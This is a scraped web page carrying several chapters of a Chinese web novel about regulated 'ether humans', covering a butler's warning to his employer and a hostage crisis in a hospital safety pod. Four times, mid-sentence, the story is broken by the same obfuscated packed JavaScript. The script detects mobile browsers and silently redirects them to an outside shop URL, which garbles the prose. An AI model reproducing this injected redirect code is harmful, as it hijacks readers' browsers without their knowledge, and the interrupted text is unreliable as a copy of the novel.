所以说,科技总是在提升人们生活水平的同时,让阴谋论者更加抓狂。 “我只是没想到我的隐私这么不重要。”季井仪看向另一边,把杯子放在了桌上,“怎么说我们都是家人,如果他真的关心我,那他直接来问我就好。顺便一提,我真的很讨厌三小姐这个称呼。” 就好像我没有自己的名字一样。她在心里小声嘀咕。 “因为即便季左先生直白地告诉您他担心您,您都有可能会把这当作耳旁风,这实在是太没有效率了。至于您的另一个问题……您的确是季家的三小姐。”商管侍毕恭毕敬地回答,语气里的某些东西却让季井仪感到了一丝被强制的不爽。 “这是毋庸置疑的事情。”他说。 季井仪曾听家里人说起过,说商管侍在年轻时曾从事着被隐晦地称为“清扫人”,专门为人“处理不可言说困难”的工作——其实说穿了就是有钱啥都做的雇佣兵。而商管侍的体质,以及以太研讨会对他采取的最高等级的行动监控则佐证了这一说法。 而这也就让她时常感到好奇,为什么这样一个有能力,在过去也并非善类的以太人类始终没想过跳槽,一定要做这么个伺候人的麻烦工作。 但仔细一想她也就释然了——毕竟为季家服务也就代表着,以太研讨会对他的管控处于一种名存实亡的状态,在现在这个以太研讨会要宣言对高危险性的以太人类进行完全掌控的年代,这无疑是最诱人的特权之一。 就像他们可以绕过终端的私人控制端,直接调整季井仪屏蔽空间的白名单一样。 她又哼了一声,明摆着指桑骂槐:“科技发展真是不可思议。再久前我也不多说了,只是我七八年前离开家前,我都想象不到以太学会带来如此大的变化,即便我就是学这个方向的。不知道这算不算是一种过度发展带来的不公?” 商管侍没有接她的弦外之音,只是从表层含义回答道:“以太学是未来,它让很多在过去很难有链接的经典科学相遇,焕发出全新的生命力。” 他顿了顿,继续说道:“以太学的成果在事实上对我,还有与我类似的''人类''有着过强的压制力,但这才是一个不断发展的社会所需要的稳定。我不知道这是不是您真正想说的,但这无疑就是您的未来所在。” 他没有任何要离开的意思,只是像季井仪在自己的公寓里安装了十几个的家务机器人那样,站在她的身边待命。 “无论是季左先生,亦或者是其他的季家长辈,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265381|151684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对您寄予了厚望。”他礼貌地说。 他肯定对家里的所有小辈都说过这种话。 季井仪从那熟练却冷漠的语气中听出了这一点,并且对此毫不奇怪。 毕竟她只是“三小姐”,而不是“季井仪小姐”。 “是。”她低声说,“商管侍,如果你对上了邺京警方按标准装配的以太学武器,延展系统,你觉得你有几成逃脱的可能性?” 她的管家没有立刻回答她,只是稍微侧了下头,好更加专注地看着此时说话的那方。 “谁能想到呢?”季井仪心不在焉地说,“以太,这种一直存在着,一直被人误认为只有以太生物或者部分天赋异禀的人可以使用的,曾经被称为魔法、仙术的东西,最后其实也只不过是一种基础粒子而已。” 她停了一下,转过头看着自己的管家:“商管侍,我不知道你活了多久,但如果对一个世纪前的人说,在一百年后的今天,一个受过基础训练的普通人,就可以用延展系统轻松压制一个在过去会被看作怪物的以太人类,不知道他们会做何感想。想想,现在你都不能断定你能够从我这种新人使用的延展系统下逃脱,那么过几十年,当科技更加发达,像延展系统一样的系统更加普遍,以太学作为常识更加普及,怕不是连一个小孩都可以轻松战胜过去看来如此吓人的以太生物。多不可思议啊!” 她盯着眼前的男人,可商管侍却没什么反应。他只是礼貌地微笑着,微微侧身,毫无感情地礼数周全,像在倾听小孩天真的童言童语。 季井仪心头无名火起。 “回答我,商管侍。”她命令道,“你就是这样怠慢你的雇主的吗?” 商管侍不紧不慢地摇头。 “不敢,三小姐。”他说,“我只是在思考措辞。” 他对着季井仪微微鞠了一躬:“八成近九成。” “……什么?” "我有八成近九成的把握。"商管侍如此回答道。 他的态度不卑不亢:“如果是您使用延展系统的话。” 季井仪睁大眼睛看着他,不可思议写在了脸上。 “我过去的职业所要求的特质让我不愿回答这类问题,但是既然这由我的长期雇主提出,我也没有不回答的理由。”商管侍耐心地解释道。 “我没有反驳您看法的意思,甚至我十分赞同您的观点。但与此同时,鉴于您现在的职业,为了您的安全考虑,我想提醒您一件事。” 他的语气一下变得强硬了起来。 这不像是一个管家对自己的雇主应有的态度了。季井仪下意识地抖了一下,手握住了椅背。 “永远不要试图去揣测一个以太人类的想法。也不要相信有什么事对他们而言是''一定''的。更何况,就您这次将要处理的那位嫌疑人的情况来说……我想,是药搞坏了他的脑袋。” 他突然又恢复了之前那种平和的样子,任由季井仪情绪激动地追问“你怎么知道的?”都不再多透露什么。 他只是回答道:“我只是从个人经验出发,对雇主进行建议而已。您的安全、您的未来都是季家利益的一部分,而雇主的利益于我而言永远是第一位的。” 他的话说得滴水不漏,态度甚至可以说是谦卑,但季井仪却敏锐地捕捉到了这其中的问题。 “你知道延展系统给了我们什么样的计划?”她追问。 “为什么你会知道这些?!为什么你会知道犯人不会遵守……” 她话还没说完,真正被她列入白名单的赵虹蕾就径直走进了她的屏蔽空间里。 她神色凝重,没有理会站在一边的商管侍,只是对季井仪示意道:“我们走吧。” 季井仪心领神会,问:“到我们的工作时间了?” 赵虹蕾没说话,明显是对商管侍的存在感到警惕——她可能还不知道这神出鬼没的季家管家已经掌握了他们的大体动向。 季井仪挥挥手让他退下,那以太人类却反而靠了过来。 他对已经处于戒备状态的赵虹蕾轻轻点了下头,说了句“失礼”,就低下头对自己的雇主耳语了一些东西。 赵虹蕾的眉头皱了起来,她刚想说些什么,商管侍已后退一步,随即对着她们行礼。 “祝一切顺利。”他微笑着说。 10. 在密闭的空间里 王睦友的右胳膊正火辣辣地疼。 他身边的阅阅紧紧拉着他的手。这是个只有应急灯光照明的狭小空间,视觉效果很差,再加上妈妈也不在他的身边,这导致的结果就是他感到紧张无比。 他便又小小地往王睦友身后缩了缩,毛茸茸的头发正好蹭到了后者的小臂,这让他暂时的监护人没忍住,一下痛呼出来。 “疼疼疼!” 这一嗓子打破了密闭方块里沉闷的安静。 以太科技对建筑行业最大的改善,就是基于材料的进化而产生的对逃生窗口设计的改良。 现在主流的紧急逃生方式就是依照以太的仿生特性而设计的。只要建筑是由特殊建材制成,就可以在极短的时间里先检测建筑里总共存在的人数,再把滞留人员按照每十人为一组的计算方式分割包裹,最后把所有人圈在一个有着最高保护优先级的、密闭的特殊材质安全舱里,将这些安全的小盒子一个接一个地送往建筑外侧。 而这就是现在王睦友和阅阅所处的环境。除了他们两个人之外,这个方块里还有其他八个人,正好三男五女。其中一对是中年夫妻,一对看着是一起来的小情侣,三个好像彼此认识的年轻人,还有一个大学生样的落单小年轻。 那小年轻正好在王睦友旁边,注意到了他的动作,便轻轻用手肘捅了捅他,还小心地避开了他的小臂。 “小兄弟啊,”他说,“你这也太背了。看你胳膊这红的,是来医院治烧伤的吧?结果还遇上这种紧急情况。” “我不是来治胳膊的,我是来接人的。” “啊?那怎么成这样了?” 王睦友哽住了。想了半天,他笃定地说道:“被我朋友拉了一下,就成这样了。” 他眼看这小年轻的表情从普通的好事者逐渐向“交通综合医院没有精神科吧?”过渡,便赶紧补了一句,信誓旦旦:“这是真事!” 这当然是真事,这伤就是刚刚被裘诺抓出来的。 在他、裘诺,还有周姐阅阅母子,四个人听见“安全出口分组即将进行,请与同行人尽量贴紧!如果发现落单老人小孩,请各位自发照顾,谢谢配合!”的广播时,原本来说是很定心的。 现代科技相当可靠,更何况他们所在的地点是邺京最大最新的医院之一。 阅阅就不说了,周姐一路上自然是把他护得紧紧的。裘诺和王睦友都是成年人,被分到哪个方块也都不是什么大事,照理说只要能够被装进那些安全小格,这次突发事件就算过去了,根本没什么值得多费心思的。 这基本是这个时代的共识。也正是这个原因,几乎是在广播播出的瞬间,原本还有点躁动的人群就逐渐平静了下来,大家都只是安静地等待着即将在人群中建立起的墙壁,好安全又快速地离开这个是非之地。 相信科技与秩序是现代人为数不多的美德。 但不知道为什么,王睦友总是感觉耳朵里面不爽利。 就像有人一直在医院大厅的某处尝试钻木取火一样,他总是听见轻微的、悉悉索索的,像是木头互相摩擦发出的响声。 他转身望了一圈四周,但是没能发现声源,正想调头问问裘诺听没听见什么响声,就被裘诺一把拉住了小臂。 她握得很紧,手心发烫,本该是血肉之躯的手此时却像一块烧透了的碳。王睦友痛得刚想大叫,就对上了裘诺突然绷紧了表情的脸和两团炭中暗火一样的眼睛。他一时惊得把惨叫声都吞回去了。 他心里一凉,正想着“偏偏在这时候不对劲了?!”,就感觉到了一阵巨大的拉力。 裘诺明显想把他往自己身边拉。那王睦友当然不干,连带着也就断定自己耳边磨木棍的声音肯定是裘诺的杰作,就也使出吃奶的劲不让自己被力气巨大的裘诺拉过去。 “裘老板!裘老板!你干什么啊!”他叫道。 他看裘诺的表情,明显她也是急了。她正想张嘴叫些什么,广播里就响起了救苦救难的机械音。 “请注意避让!分组开始!” 她猛地一下收回了手,几乎就在同一瞬间,一片浅黑色的,幕布一样的东西便“唰”地一下,把他们二人隔开了,只留下王睦友小臂上被灼伤了一样的痛感。 裘诺不甘心,她拍着浅黑色的幕布还想把王睦友抓回来。所幸密封的方块是绝对隔音的,王睦友根本听不见也不想听见她嘴里到底在说什么,就只听见了令人安心的“分组完毕,进行传输”的系统提示音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265382|151684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 正当他对着逐渐由透明转为纯黑的墙壁松了口气,他又听见了一声轻微的抽泣,这一转头就发现阅阅孤零零地留在他身边,竟是和他的妈妈被分在了两个方块里。 他虽然不想再多管什么闲事,就算在此时,他也只满心想着等把舅爷接回家就正式告辞买站票逃离邺京,但也终究没能心狠到冷眼旁观刚刚还和自己撒娇的孩子现在哭得上气不接下气。 他便只能一边在心里抱怨分组系统的不靠谱,竟然把紧贴在一起的母子都拆开了,一边认命地担负起照顾小孩的责任。 但等他在黑色的方块里待了一会了,疼痛难忍下一抬起胳膊,才发现自己刚才被裘诺抓过的地方竟然呈现出一片触目惊心的红色,甚至还有几个像是指印子一样的痕迹。 这来龙去脉他是肯定不能说的,不然怕不是出了被安装了炸弹的医院,就要被送进邺京郊外的精神病院了。但他也一时也想不到其他合理一点的解释,最后吐露的版本就自然含糊不清。 “刚刚我朋友手里有个很烫的东西。她太害怕了,一下没注意就摁我胳膊上了。” “啊,那你够倒霉的。不过你的伤口可能要等会才能被处理了。”大学生小哥挠了挠头,露出个腼腆的笑容。 “这个安全舱编号是34,还要一会才轮到我们出去呢,不如我们认识一下,聊聊天。我叫刘林,你怎么称呼?” 他友善地伸出手,看了一眼直往王睦友身后钻的阅阅。 “这是你弟弟吗?看起来很怕生的样子。” 王睦友说着“幸会幸会。”也小心翼翼地伸出了手:“不不,这不是我的弟弟,但是是熟人家的孩子。我姓王,叫我小王就……” 他的话突然停住了。在他的手和刘林的手接触的一瞬间,木棍摩擦的声音便一下在他的脑内达到了顶峰,然后就是啪嚓一声,木棍的火被点燃了。 阅阅在他身后抖得更厉害了。 “啊,那我就叫你小王好了。”他看到刘林笑了起来,露出白森森的牙齿,深棕色的眼珠也在逐渐变浅,瞳孔处的黑圈若隐若现,“看起来,我们还是能聊一会的。说起来啊,我还有个不情之请。” 他轻快地问:“过一会,帮我个忙好吗?” 11. 只要熬得够久 事实上,以太人类会被现代社会视为危险分子的原因并不是他们特殊的体质。 这并不是说他们超出普通人的五感、肌肉爆发力、耐力,甚至可以一定程度上操控以太粒子的能力就不可怕了。倒不如说,正是这种让落单的普通人会感到恐惧的特质,才构成了以太研讨会对以太人类管制的必要前提——要是以太人类各个都是大好人,那他们倒是能成为人类社会的优秀先进分子呢。 可惜众所周知的事实是,以太生物的转换基础,就是他们心中的“解离性”:与自体所伪装的生物在心理上越远的距离便越能触发以太生物的异常。可以说,反以太技术“延展系统”蓬勃发展就是这种解离性与以太生物的特异体质叠加所带来的必然后果。 当然,除了可以反制他们的武力,近几年的教育学、心理学也在致力于降低解离性带来精神问题的概率,其中的理论和实践在此也不便一一赘述,毕竟这一不是对这些领域毫无见解,且没有必要对此进行学习的王睦友所能知道的内容,二则,就算是把这名小市民的心摊平再擀大,他都没法心大到在这种情况下去想这种有的没的。 34号安全舱已经被紧急锁定了,显示屏上鲜红的感叹号一跳一跳的,就像安全舱里的人质们紧绷得都快断了的神经。 王睦友顾不上自己被衣物擦着的受伤小臂,和瑟瑟发抖的其他倒霉蛋们一起徒劳地挤在安全舱的一角,留着刘林一个人背对着发着红光的大屏幕。 警告意味浓厚的红光为这个年轻人镀了一层边,显得他浅灰色的眼珠和皮肤上显露出的黑色纹路更加诡异。 即使他们之间不到一米的距离根本没法改变什么,人类本能在此时却还是选择了没有结果的逃避。 这愚蠢的本能选择似乎很讨刘林的欢心。他向着人群进了一步,满意地看到原本就挤得紧紧的人群缩成了更小的一团。 他摊开手:“我有那么可怕吗?其实我也和你们这群普通人一样啊,也没多长几个手,几只眼睛的,都是普通人嘛。” 你算个锤子的普通人。 王睦友不知道别人怎么想的,但反正他心下已经开始辱骂自己这离谱的运气了。 他看着挤在自己身边的大哥大姐、老弟老妹们脸上惊恐的表情,苦中作乐地想,好歹其他人心里估计也都和他一样是骂了街了。 而被他护在身后的阅阅更是已经抖得不成样了,眼泪大颗大颗地从眼眶里往外掉。他同样作为以太人类,便比起普通人更能感受到这个年轻人身上的危险性。 刘林看到他们这胆怯的样子,终于没忍住,大笑了起来,就像刚刚拿水淹没了蚂蚁巢穴的小学生。 他向缩得更紧了的人群伸出手,脸上的花纹一下浓烈了起来。 几乎在同时,王睦友就听见阅阅发出了“啊!”的一声惊叫。 他感觉手里一空,刚刚被他紧握着的小手一下子滑了出去。他赶紧想伸手把小孩的手捞回来,却在抓住对方的一瞬间就被惊慌的人群撞到了一边。他咬了咬牙,第二次想抓住阅阅,小孩却大力地甩开了他伸出的手。 “阅阅!”他叫道。 “我……我不是故意的……!我不知道……” 小孩四肢僵硬,就像一个被控制着的提线木偶,同手同脚地向着刘林的方向前进。他露出的小胳膊小腿几乎是在瞬间就被黑色的纹路缠满了。紧接着,他的四肢便开始逐渐变得透明,一下就变成了让王睦友一段时间里忘不掉了的小幽灵的样子。 他在本能地抗争,但这是徒劳的。 这异变让人群更加恐慌了。他们尖叫着,互相推搡着,生怕下一个被选中的是自己。王睦友的声音被淹没在惊叫中,他想往前挤一点,但被一个快吓哭了的小姑娘正好撞在胸口,差点被撞倒,期间不知道是谁又狠狠刮到了他严重烧伤的小臂,疼得他龇牙咧嘴,连连喊“手!手手……” “啊,好乖好乖的孩子。稍微吓吓你就这么听话,你平时一定经常被夸好孩子吧?” 刘林蹲下来,对快哭出来了的阅阅招招手。 “来!小弟弟,把你的核心掏出来!”他指了指胸口,起哄道,“捏碎它你就会死了吧?啊,虽然我没有试过,但凡事都有第一次尝试嘛。你会听话的吧?” 阅阅用力地摇着头。他手脚上的黑色纹路越来越密集,明显他是在努力反抗,但是他的手臂还是逐渐抬了起来。王睦友隔着好几个人,在受限的视野范围里,看到阅阅的手穿过了他上衣胸口的印花,向着自己胸口那块深黑色的晶体伸了过去。 他脑袋里嗡的一声。 以太人类有着比一般人要强的自愈能力,对病毒的抵抗力也远胜普通生物。但这不代表他们没有弱点。以太生物身上一共有着四处脆弱部位:在以太化的同时就会生成在体内的核心,以及三根像是主动脉一样包裹了核心,同时作为构筑身体的地基的所谓“要线”。要是伤到后者那还好,顶多就是做个几十年后能恢复的瘫子;可对方是要直接捏碎阅阅的核心,那不就是…… 这是要当着一群人的面杀死这个小孩吗?! 王睦友不可置信地看向对面。他刚刚随手塞进衣兜里的红纸条也随着他手部汗液的分泌而变得软趴趴的。 不太可能吧,他自我安慰道,就算是以太人类,也不会丧心病狂到这个程度。 但很可惜,王睦友很快就发现,他不应该:对以太人类的人性有太多期待。 “对,对,就这样。”愉快的恐怖分子舔了舔嘴唇,语气兴奋,“你那么抵抗,看起来是真的会死吧?这就害怕了?现在的小孩……” 王睦友的胸口一下疼痛了起来。 他们其实从一开始就只是萍水相逢,甚至连相熟都是建立在一方的痛苦上的。算起来,王睦友应该还算是阅阅无意识玩乐心的受害者。 更何况他本身就是个胆小的人,这种情况,就算是用王睦友已经乱成了一团的大脑都可以判断出,最优的选择肯定是安静闭嘴,死道友不死贫道。甚至,或许,没准小孩这一被迫自杀的行为还能拖延时间,为他们被救争取机会。 但这即将出现的场面,还是太过于残忍了。残忍到王睦友哪怕是作为一个普通的过路人,都无法心安理得地吃下这人血馒头。 更何况他还拿人的手短。 他的舌头颤抖着,牙齿打架,极度恐惧,但是他的声带已经绷紧,声音卡在喉咙里。只是因为残存的一线理智,混合着些许卑劣的求生欲,他最终还是没能出声,只能从喉咙里发出呜噜呜噜的细小声音。 他连忙审视自己周围的人,希望有人可以带头喊那一声。 所幸,那对中年夫妻中的妻子还是看不下去了。可能都是家里有孩子的人,就更看不得别人家的小孩遇到这种事情。她面色狰狞,显然是给自己打了半天气,正要张嘴,王睦友就突然感到胳膊上一阵灼热的剧痛。这次传来的痛苦比前几次还要强烈,直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265383|151684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接痛得他喉头一松,蓄势待发的声带一用力,“嗷!”一嗓子就叫了出来。 他这突兀的一嗓子一下打断了阅阅像被催眠一样的状态。小孩跌倒在地,身体从半透明变回了实体,脸上眼泪和汗水混成一团。他看向声音的来源,声音里满是喜悦的哭腔:“大哥哥!” 王睦友正捂着小臂,就感觉眼前一亮,围着他的人群非常有自我管理意识地向两边退开,把这个勇敢的、敢为小孩打抱不平的“大哥哥”直接暴露在了刘林的视线里。 刘林显然对自己的游戏被打断感到不满。他“啧”了一声,王睦友就感觉自己的脊背像被刀戳着一样。 “小王?”他语气不善,“怎么了?这小孩不是和你没关系吗?你还护着他?” 解脱了的阅阅手脚并用,以最快速度爬回了王睦友身后,像一只受惊的天竺鼠那样发着抖,死死地抱着他的腰。 王睦友不知道是阅阅抖得太厉害,还是他自己也在抖,反正他的两条腿打战到他都快站不稳。他本来在脑内重复了好多遍的质问到了嘴边,干脆一下软化成了打商量的语气。 “啊这,啊这,”他也往后退了一步,背抵住了方块的角落,这下他终于不至于担心自己因为抖得太厉害而倒下了,“这,你……您和阅阅无冤无仇,没,没必要一定要这小孩在您面前自,自杀吧?” 他的舌头几乎不听指挥,身体却还是下意识地把阅阅挡在了自己和墙角之间的空隙里。他看刘林面色不善,赶紧狗腿地又递上一句:“这,这……那……场面,场面多不好看啊,万,万万万一血啊啥的,血呼啦差的,一下溅到您……” “可是那才是我想看到的啊。多有趣,就像你会因为随手杀害一只家畜而有负罪感吗?” “会……会啊。” 王睦友对着对方阴晴不定的脸色,壮着胆子说:“我……我是说,这不屠宰场都是全自动了嘛!该死的时候它们会死的,就没必要,费半天劲,自己动手……” 刘林被他的话逗笑了。 他笑得厉害,像是在笑某一幕喜剧里出现的跳梁小丑,直接把王睦友用急智打好的一堆腹稿顶了回去。 那一刻他脊背发凉。一种强烈的,对于熟悉物品的陌生感占据了他的感情,这让他恐惧不已。伴随着强烈的压力,他的精神几乎瞬间就到了可以承受的极限,要不是小臂上火辣辣的疼痛像一根筋那样抽着他的意识,他估计早就两腿一蹬,两眼一黑晕过去了。 他看眼前披着人类皮囊的怪物正笑道:“所以嘛,人类!被驯养的人类!以太人类!被社会、教育所驯化,即便是如此早的以太化也没能换来什么胆识,只是在一个愚笨的懦夫身后瑟瑟发抖!” “你是不是平时电视剧看太多了,说话怎么这么夸张……” “你说什么?” 王睦友第一反应捂住嘴,精神濒临崩溃导致他丧失了对舌头的控制权,一不小心就把心里话吐了出来。 他看到刘林那明显起了杀心的表情,急中生智,赶紧反手就打了自己一嘴巴:“您,您继续,我,我这嘴不听话……” 他这明显的卑微姿态取悦了刘林。看到刘林又恢复了愉快的表情,王睦友刚也想跟着松一口气,就听到显示屏上传来轻微的“咔哒”一声,然后就是伴随着屏幕上谈判专家诚恳的脸出现的,带着强烈安抚性的语音。 “这位先生,请允许我们先和您谈一谈……” 终于来了! 12. 说的和做的 赵虹蕾盯着出现在镜头里的年轻人,突然感受到了一丝奇特的违和感。 她尽量面无表情地瞥了一眼分屏,在收到肯定的答复后轻轻叹了口气。 连接稳定,延展系统计算运行正常,如果按照他们原先预定的话术解救人质的成功概率将是98.79%…… 这是和以前她所实行过的计划没有任何区别,甚至相对而言还要更稳妥的一次行动。 这种事件在她的职业生涯里已经有上百次,可这次就是有某种直觉向她指明了这次行动的奇怪之处,即便她无法明确地想到这奇怪的地方,这种预感仍让她眼角突突地抽。 难道是因为那个季家的管家吗?还是…… 她不动声色地看了一眼分屏里的季井仪,后者以为是她是在确认34号安全舱内的以太密度,于是给她送来了一串数据,嘴角紧绷着。 34号安全舱内的人质目前都还安全,这可能是目前唯一能让她感到安慰的事实了。 从她得到的画面来看,现在的安全舱内分成了三个阵营,大多数人挤在安全舱的一角,嫌疑人站在正方形安全舱的正中央,而在与这两个阵营形成对角线的另一角上跌坐着一个年轻男性,在他身后护着一个脸上已经满是黑色花纹的孩子,两人的颤抖隔着显示屏都是如此清晰,但是从安全舱传来的各项数据则说明,他们只是受到了惊吓,没有受到任何实质上的伤害。 这是最好的情况了。 她松了口气,在心里感谢那位市民无意间争取时间的行为。 这里是医院外临时建立的指挥中心。单向透明的折叠材料保证了指挥中心里警官们对外的视野,同时也保护了这群人民公仆的工作不会被位于指挥中心另一端的,逐渐被放出的其他安全舱里的被困市民打扰。 惊魂未定,且对正在发生的劫持案尚无任何了解的普通市民,在圆头圆脑的协警机器人和一些警察的指挥下,有序撤离出了邺京交通综合医院的范围。但也有不少看热闹不嫌事大的,踩着距离红线,围在医院外的辟邪像附近看热闹。 指挥中心里折叠的各类器械都被打开了,巨大的屏幕一个叠一个。顶着透过透明壁垒的金色阳光,整个房间呈现出一种蓝莹莹的奇怪色调,但现在没有人还有心思去留意这种细枝末节的地方了。 他们的目光都集中在了屏幕里这个名叫“刘林”的犯人身上。 “我的诉求很简单啊。” 她看到对方露出了一个诚挚的笑脸。 “我的诉求,就是立刻取消以太人类必须登记在案的规定。” 与此同时,腿一软终于坐在了方块安全舱冰冷的地上的王睦友在听到这句话时,一时十分佩服这位女性谈判人员的专业素养。 毕竟她在听到这个诉求时都能做到风轻云淡,甚至恰到好处露出了鼓励他继续说下去的眼神。 他这么个对时事没什么敏感度的人(尤其刚刚还被吓得够呛,正处在感受的麻木期),在听到这要求时,都忍不住在心里打上了二十个问号。 他小心翼翼转头,再看看安全舱里的其他人,发现现在但凡不是在哆哆嗦嗦的,就也都是一脸懵。 这和他刚才干的事情有什么关系嘛?! 不是,就算有关系,这是找警察能解决的事吗?而且这又关自己这种本分小市民什么事啊?! 以太人类登记法是在八十多年前,第四次世界性极夜事件期间就由以太研讨会牵头草拟,致力于保护以太人类和普通人共存环境的宪法。期间还因为该宪法是否侵犯了以太人类的隐私权,以太人类是否与人类能算作同类的伦理、社会问题而推出了许多后续版本以及伴生法规,例如这两年被反复讨论的以太人类隐私保护法。 时至今日,该宪法的细节仍在不断地讨论中,并且可能还会进行修正。 虽然这条宪法的落实以及细节除都有待讨论,但这不到一百年间的社会重建与发展都证明了,它的存在不仅保证了普通人的人生安全,也因为对以太人类可以实施有效的管理和保护,反而避免了后续可能出现的以太人类与普通人类因为物理意义上的居住环境分离而导致的交流壁垒、文化差异,再由此引发的歧视以及暴力等问题。使同时受到以太人类隐私法保护的以太人类可以完美融入社会,成为社会的一份子,不需要强行撕去人类的外衣,作为特殊的、理论上是没有自己单独种群的生物存在,在社会外漂泊。 其实就算近年来的确有激进人士认为并且宣称这条宪法是对以太人类的压迫,但这是应该会在现在提及的话题吗……? 他困惑地想。 赵虹蕾也是这么想的。 她感觉自己的眼珠上传来一阵黏腻的炽热感,她知道自己的瞳孔很快也要变作一个圆圈。但这本来就是计划的一部分…… 她突然一下意识到违和感的来源了。 那是来自于季井仪的提醒。 季井仪是她新带没多久的学生,在她看来是一个笨拙却热忱的年轻人。 虽然她自己也知道这话说出去会得到自己同事们的一致嘘声,可她的确就是这么觉得的,便不太像其他人那样因为她的出身而带上有色眼镜。 而季井仪也没有让她失望。 刚才她正跟在赵虹蕾的身后,两人一前一后地进了电梯,准备前往邺京交通综合医院。赵虹蕾犹犹豫豫,不知道该不该和季井仪提起那个随意在公安局大楼出入的她的“家里人”:她对这种不受规则管制,并且明显知道一些他不应该知道东西的人完全没有好感。但她也不难看出,季井仪和他相处并不愉快,如果这是她的家里人,那她也应该是属于受害人的位置。 这样一来,即便是向她抱怨,对她提出要求,除了让她感到难办以外,是不会对现在的事态产生任何正面影响的。 她不自觉地叹了口气,知道这些事都可以之后再想,眼前的情况已经足够让她苦恼了。那个被称为“商管侍”的人到底是从哪里…… “他一向这样,”季井仪像是看穿了她的想法那样说。她背靠着电梯一侧的墙壁,脚尖有点窘迫地点在地上。 “总是做出这样了解一切的样子……这也是他的职责所在。” 她顿了顿,扭过头干巴巴地说:“如果他这样让你觉得很糟糕,我就去和他谈谈。虽然我不知道他会不会听我的,但是去试试总是……” “不不不!你没必要这么做!”赵虹蕾连忙否认。 她的眼睛眨了眨,最后还是尴尬地咳嗽一下:“好吧,我是有点不舒服。可能是因为我之前一直很难把你和季家联系起来,直到今天。” 季井仪也对她眨了眨眼睛,修得细细的眉毛纠结在了一起,像是一口咬到了什么滋味酸苦的东西上。 她们陷入了沉默,电梯到达了一楼大厅,却没有开门,操纵面板上蹦出一串由0和1组成的乱码。赵虹蕾在电梯上扫了一下自己手腕上替代了终端的手牌,电梯狠狠一震,向着地下继续下沉。 她收回手,下意识拢了下头发,说:“但我觉得你没必要这么把这件事放在心上。井仪,你看,我已经快六十岁了,而我是一个以太人类……你知道这意味着什么。在四十年前我刚入职的时候,以太人类可不是什么会被看做正常的东西。” 她的语气轻快了一点,安慰自己的后辈道:“但是实际上大家都会逐渐不在意这些事的。你没有必要对无法控制的事情感到抱歉,重要的是,你要做到自己能做的。” 季井仪看着她。 公安部门中真正派的上用场的好东西实际上全都藏于楼下,因此她们的下降伴随着重重检索关卡,沉稳又缓慢。 “但我等不及了。”她轻声说,“赵老师,我之前就和您说过,我选择进入这个部门,就是因为在这个部门工作一段时间后,我的简历会非常好看。季家需要这样的人,而我也需要这个机会,让自己可以被看到……仅此而已。所以别人对我的看法,我完全不在意。” 赵虹蕾也看着她。 她们对视了一会儿,是季井仪率先扭过了头,假模假样地开始研究电梯里无影的日光灯。 赵虹蕾发出幽幽的一声叹息。 “如果这真的是你的愿望的话。”她小声道,目光转向了电梯大门,“走吧,还有正事等着我们。” 她话音刚落,电梯的大门就打开了。她刚想踏出去,季井仪突然叫住她。 “赵老师!”她的声音有点急切,“我不喜欢商管侍,也不喜欢听他的建议……可是,已经定下的谈判方针,真的不能再改一下吗?我担心……” 他们是使用了违禁药物的人,这样的人、这样的以太人类…… 赵虹蕾定了定神,温和却坚定地说道:“您的诉求,我也是理解的。实不相瞒……” 王睦友看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265384|151684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屏幕边的那个女性的瞳孔变了,从普通的浅棕色变成了灰褐色,当中也有了一个黑色的圆环。 他呼吸一滞,这位警察居然也是以太人类?但是刘林,从他刚才对阅阅的态度来说,如果对方是一个这样的以太人类…… 他一下心慌起来,而刘林的表现则不出他的意料。 他愉快地吹了声口哨:“同类?别告诉我你要跟我说,''我也是以太人类,我怎么就不觉得‘之类的话?” “不,您误会了。”对面摇了摇头。 “的确。现在的社会还存在各种各样的问题,而且很多问题可能不是一两日就可以改善的。我们完全可以理解。只不过,您真的要用这种错误的方式来表达您的感受吗?被您挟持的这些市民,他们是无辜的,更何况,这里还有个和你我同类的小孩子……” 